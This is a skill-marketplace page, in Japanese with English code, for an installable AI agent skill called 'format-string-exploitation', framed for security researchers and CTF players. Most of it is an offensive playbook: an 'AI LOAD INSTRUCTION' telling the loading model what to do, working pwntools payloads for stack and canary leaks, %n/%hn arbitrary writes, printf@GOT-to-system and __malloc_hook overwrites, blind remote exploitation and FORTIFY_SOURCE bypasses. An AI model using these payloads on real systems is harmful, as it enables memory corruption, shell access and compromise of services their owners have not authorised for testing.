mcpField
F
format-string-exploitation

format-string-exploitation

github.com/yaklangセキュリティ2.6k3.7k 回インストール6 週間前に更新
リポジトリ

format-string-exploitation について

セキュリティ研究者やCTF参加者向けの、フォーマット文字列脆弱性を分析・利用するスキルです。メモリリーク、任意書き込み、緩和策への対処、pwntoolsの自動化を扱います。

主な機能

  1. 01スタックとメモリのリーク手法
  2. 02%nによる任意書き込み
  3. 03GOTとhookの上書き手法
  4. 04ポインタチェーンの悪用
  5. 05ブラインド攻撃の手順
  6. 06pwntoolsによる自動化

活用シーン

  1. 01フォーマット文字列脆弱性の特定
  2. 02スタック、canary、ライブラリアドレスのリーク
  3. 03対象アドレスへの任意書き込みの構築
  4. 04リモートのブラインド脆弱性の検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill format-string-exploitation

インストール後、Claude Code で/format-string-exploitationを入力して読み込まれたか確認します。

詳細

スキル:フォーマット文字列攻撃 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けのフォーマット文字列テクニックです。スタックの読み取り、%n を使った任意書き込み、GOT の上書き、__malloc_hook の上書き、ポインタチェーンによる攻撃、ブラインドフォーマット文字列、FORTIFY_SOURCE の回避、64 ビットでのヌルバイト処理、pwntools による自動化を扱います。ctf-wiki fmtstr、CTF のパターン、実環境のシナリオをもとに要点をまとめています。ベースモデルは、位置指定パラメーターのオフセットを計算し間違えたり、フォーマット文字列の後に 64 ビットアドレスを配置する方法を忘れたりしがちです。

0. 関連するルーティング

  • stack-overflow-and-rop — フォーマット文字列によるリークとスタックオーバーフローを組み合わせ、完全なエクスプロイトを実現します
  • binary-protection-bypass — フォーマット文字列は、canary/PIE/ASLR のリークに主に使用されます
  • arbitrary-write-to-rce — フォーマット文字列の書き込みプリミティブを、コード実行の標的に利用します
  • heap-exploitation — フォーマット文字列でヒープアドレスをリークし、ヒープを攻撃します

1. 脆弱性の特定

脆弱なパターン
printf(user_input);          // VULNERABLE: user controls format string
fprintf(fp, user_input);     // VULNERABLE
sprintf(buf, user_input);    // VULNERABLE
snprintf(buf, sz, user_input); // VULNERABLE

printf("%s", user_input);    // SAFE: format string is fixed
クイックテスト
Input: AAAA%p%p%p%p%p%p%p%p
If output shows stack values (hex addresses): format string confirmed
Look for 0x4141414141414141 in output to find your input offset

2. メモリの読み取り

スタックリーク(%p)
フォーマット動作用途
%p次のスタック値をポインターとして出力しますスタックを順にダンプします
%N$pN 番目のパラメーターをポインターとして出力します位置を直接指定してアクセスします
%N$lx%p と同じですが、16 進数を明示します(64 ビット)移植性があります
%N$sN 番目のパラメーターを文字列ポインターとして逆参照しますポインター値が指すメモリを読み取ります
入力オフセットの特定
# Send: AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
# Output: AAAAAAAA.0x7ffd12340000.0x0.(nil).0x7f1234567890.0x4141414141414141...
#                                                           ↑ offset = 6 (example)
# Or automated:
for i in range(1, 30):
    io.sendline(f'AAAA%{i}$p')
    if '0x41414141' in io.recvline():
        print(f'Offset = {i}')
        break
特定の値のリーク
対象方法スタック位置
CanaryN がフォーマット文字列からの canary オフセットとなる %N$p通常はオフセット buf_size/8 + 数個
保存された RBP%N$p(リターンアドレスのすぐ上)スタックアドレスをリーク → スタックベース
リターンアドレス%N$p.text アドレスをリーク(PIE ベース = leak & ~0xfff - offset)
Libc アドレススタック上の __libc_start_main+XX の戻り先を指す N を指定した %N$plibc ベース = leak - offset
任意のアドレスの読み取り(%s)
# 32-bit: place address at start of format string
payload = p32(target_addr) + b'%N$s'  # N = offset where target_addr appears on stack

# 64-bit: address contains null bytes → place AFTER format specifiers
payload = b'%8$sAAAA' + p64(target_addr)  # %8$s reads from offset 8 where address is

3. メモリへの書き込み(%n)

書き込み指定子
指定子書き込みバイト数幅
%n4 バイト(int)これまでに出力された文字数
%hn2 バイト(short)これまでに出力された文字数(0x10000 で剰余)
%hhn1 バイト(char)これまでに出力された文字数(0x100 で剰余)
%ln8 バイト(long)これまでに出力された文字数
任意書き込みのテクニック

目標:アドレス A に値 V を書き込みます。

32 ビット(アドレスがスタック上に直接ある場合):

# Write 2 bytes at a time using %hn
# Place target addresses in format string (they'll be on stack)
payload  = p32(target_addr)       # for low 2 bytes
payload += p32(target_addr + 2)   # for high 2 bytes
# Calculate padding for each %hn write
low = value & 0xffff
high = (value >> 16) & 0xffff
payload += f'%{low - 8}c%{offset}$hn'.encode()
payload += f'%{(high - low) & 0xffff}c%{offset+1}$hn'.encode()

64 ビット(フォーマット文字列の後にアドレスを配置):

# Addresses contain null bytes (0x00007fXXXXXXXX) which terminate string
# Solution: place addresses AFTER the format specifiers

# Step 1: format string portion (no null bytes)
fmt = b'%Xc%N$hn%Yc%M$hn'
# Step 2: pad to 8-byte alignment
fmt = fmt.ljust(align, b'A')
# Step 3: append target addresses
fmt += p64(target_addr)
fmt += p64(target_addr + 2)
%hhn によるバイト単位の書き込み

精度を高めるため、1 バイトずつ書き込みます(64 ビットでは 48 ビットのアドレス全体に 6 回の書き込みが必要です)。

writes = {}
for i in range(6):
    byte_val = (value >> (i * 8)) & 0xff
    writes[target_addr + i] = byte_val

# pwntools handles the math:
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

4. PWNTOOLS fmtstr_payload()

from pwn import *

# Overwrite GOT entry with target address
payload = fmtstr_payload(
    offset,                    # stack offset where input appears
    {elf.got['printf']: libc.symbols['system']},  # {addr: value}
    numbwritten=0,             # bytes already output before our input
    write_size='short'         # 'byte', 'short', or 'int'
)

# For 64-bit with addresses after format string:
# fmtstr_payload handles this automatically
FmtStr クラス(対話的なエクスプロイト)
from pwn import *

def send_payload(payload):
    io.sendline(payload)
    return io.recvline()

fmt = FmtStr(execute_fmt=send_payload)
# fmt.offset is auto-detected
fmt.write(elf.got['printf'], libc.symbols['system'])
fmt.execute_writes()

5. フォーマット文字列による GOT の上書き

一般的な標的
上書き対象書き込む値トリガー
printf@GOTsystem次の printf(user_input) → system(user_input)。/bin/sh を送信します
strlen@GOTsystemstrlen(user_input) が呼び出される場合
puts@GOTsystemputs(user_input) が呼び出される場合
atoi@GOTsystematoi(user_input) が呼び出される場合(「数値」として sh を送信します)
__stack_chk_fail@GOT制御可能なアドレスcanary チェックを完全に回避します
exit@GOTmain無限ループを作り、複数回実行できるエクスプロイトにします
フックの標的(glibc < 2.34)
対象one-gadgetトリガー
__malloc_hookone_gadget アドレス大きなフォーマット文字列を使った任意の printf → 内部で malloc が呼び出されます
__free_hooksystemfree("/bin/sh") をトリガーします

6. スタックポインタチェーンによる攻撃

フォーマット文字列がスタック上に直接ない場合(例:スタックポインターから参照されるヒープバッファーに格納されている場合)、スタック上のポインタチェーンを利用して任意書き込みを実現します。

2 段階書き込み
Stack:
  [offset A] → ptr_X (stack address pointing to another stack address)
  [offset B] → ptr_Y (target of ptr_X)

Stage 1: Use %A$hn to modify ptr_X's low bytes → ptr_X now points to target_addr
Stage 2: Use %B$n to write through the modified ptr_X → writes to target_addr

スタック上の既存のポインターチェーンを見つける必要があります(例:保存されたフレームポインターが rbp → prev_rbp → prev_prev_rbp のようにチェーンを形成している場合)。

ポインターチェーンの探索
# Leak stack with %p, look for:
# 1. Stack address A at offset N that points to another stack address B
# 2. Stack address B at offset M
# Modify value at A (using %N$hn) to change where B points
# Then write through B (using %M$hn) to target

7. ブラインド書式文字列

リモートサービスのみで、バイナリもソースコードもありません。書式文字列をブラインドで悪用します。

方法
手順アクション目的
1%p を 50 回送信するスタックをダンプし、アドレスのパターンを特定する
2オフセットを特定するlibc のアドレス(0x7f...)、スタックアドレス(0x7ff...)、コードアドレスを探す
3入力オフセットを探すAAAA%N$p を N=1..50 で送信し、0x41414141 を探す
4バイナリのベースアドレスを特定するコードアドレスから PIE のベースアドレスが分かります(PIE でなければ固定ベースアドレスです)
5GOT エントリーをリークするバイナリのベースアドレスが分かっていれば、GOT アドレスを指定した %N$s で GOT を読み取る
6libc のベースアドレスを計算するGOT の値 - libc シンボルのオフセット
7GOT を上書きする%n で GOT エントリーを書き換え、system のアドレスを設定する

8. FORTIFY_SOURCE のバイパス

FORTIFY_SOURCE(gcc -D_FORTIFY_SOURCE=2)は printf を __printf_chk に置き換えます。この関数は**%N$n(位置指定書き込み)を禁止します**。

バイパス手法
方法詳細
%hn を順番に使用する(位置指定なし)正確なバイト数を出力して %hn を実行し、調整してから再度 %hn を実行します。脆弱ですが機能します
スタックベースの攻撃書式文字列がスタック上にある場合、スタック位置を制御して位置指定なしの %n を使用します
代わりにヒープオーバーフローを使用するFORTIFY はヒープを保護しません。ヒープのバグと組み合わせます
printf にリターンするバイナリまたは libc にあれば、ROP で保護されていない printf を呼び出します

9. 64 ビットの考慮事項

課題解決策
アドレスに \x00 が含まれる(ヌルバイトで書式文字列が終端される)書式指定子の後にアドレスを配置し、アラインメントに合わせてパディングする
アドレス幅:有効な 6 バイト%hn を 3 回(各 2 バイト)または %hhn を 6 回実行する
スタックオフセットの範囲が広い保存された 6 個のレジスター引数があるため、入力がオフセット 6 以降にある場合があります
48 ビットのアドレス空間64 ビットのうち、下位 48 ビットのみが使用されます
レイアウトのテンプレート(64 ビット)
[format_string_specifiers][padding_to_8byte_align][addr1][addr2][addr3]...
 ← no null bytes here →                          ← null bytes OK (after fmt) →

10. 判断ツリー

Format string vulnerability confirmed (printf(user_input))
├── FORTIFY_SOURCE enabled? (__printf_chk)
│   ├── YES → positional %n blocked
│   │   ├── Sequential %n possible? → non-positional write
│   │   └── Combine with another primitive (heap, ROP)
│   └── NO → full positional %n available
├── What do you need first?
│   ├── Leak canary → %N$p at canary stack offset
│   ├── Leak PIE base → %N$p at return address offset → base = leak - known_offset
│   ├── Leak libc base → %N$p at __libc_start_main return on stack
│   ├── Leak heap base → %N$p at heap pointer on stack
│   └── Leak specific address → %N$s with target address on stack
├── Architecture?
│   ├── 32-bit → addresses at start of format string
│   └── 64-bit → addresses after format string (null byte issue)
├── Write target?
│   ├── Partial RELRO → GOT overwrite (printf→system, atoi→system)
│   ├── Full RELRO → __malloc_hook or __free_hook (pre-2.34)
│   ├── Full RELRO + glibc ≥ 2.34 → target _IO_FILE, exit_funcs, TLS_dtor_list
│   └── Stack return address → direct overwrite (if ASLR bypassed)
├── Single-shot or multi-shot?
│   ├── Loop (multi-shot) → overwrite GOT entry incrementally, use pointer chains
│   └── One-shot → fmtstr_payload() with all writes in single payload
└── Input not on stack? (heap buffer)
    └── Use stack pointer chains for indirect writes

コメント